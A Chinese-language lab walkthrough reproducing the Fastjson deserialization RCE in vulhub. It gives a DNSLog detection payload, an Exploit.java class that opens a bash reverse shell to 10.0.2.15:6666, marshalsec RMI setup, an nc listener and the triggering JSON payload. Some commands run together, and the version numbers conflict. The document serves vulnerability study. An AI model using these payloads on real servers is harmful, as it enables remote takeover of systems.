概述
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
在 1.2.24 版本的代码中,加载类名时没有对加载的类做限制,而是直接加载导致可利用 RMI 或者 LDAP 让服务器远程调用恶意类进行利用,从而在目标机器执行任意命令。
参考
-
影响版本
-
Payload
检测是否受影响
lsof -X | grep fastjson-
漏洞复现
搭建环境
cd vulhub/fastjson/1.2.47-rce/docker-compose up -d
Fastjson 1.2.45
- 访问地址:http://127.0.0.1:8090
检测是否存在漏洞
方法1:查看报错信息中版本号是否在影响范围
通过 POST 方法提交数据,Content-type 设置为application/json,提交非正常的 json 数据包,通过返回的错误信息可查看到版本号。
方法2:DNSLog 盲打
通过 POST 方法提交数据,Content-type 设置为application/json,发送以下数据包(修改ldap://dnslog/地址为自己的 DNSLog 地址){"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://dnslog/","autoCommit": true}}
复现过程
1)创建 Exploit.java 文件(修改以下的反弹 Shell 目标地址)
2)编译 Exploit.java 生成 Exploit.class 文件public class Exploit {public Exploit(){try{Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.0.2.15/6666 0>&1");}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){Exploit e = new Exploit();}}
3)使用 Python 创建临时 HTTP 服务,将 Exploit.class 放到当前目录下(在目标机器可访问的服务器上执行) ```shell python3 -m http.server 6969javac Exploit.java
测试访问,在目标机器执行以下命令,返回状态码 200 即可
curl -I http://10.0.2.15:6969/Exploit.class
4)使用 marshalsec 开启 RMI 服务(在目标机器可访问的服务器上执行)```shelljava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.0.2.15:6969/#Exploit" 6799
5)在攻击机(第一步指定的地址)监听 6666 端口
nc -lvvp 6666
6)通过 BurpSuite 发送以下 POST 数据包即可成功反弹 Shell
{"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://10.0.2.15:6799/#Exploit","autoCommit": true}}
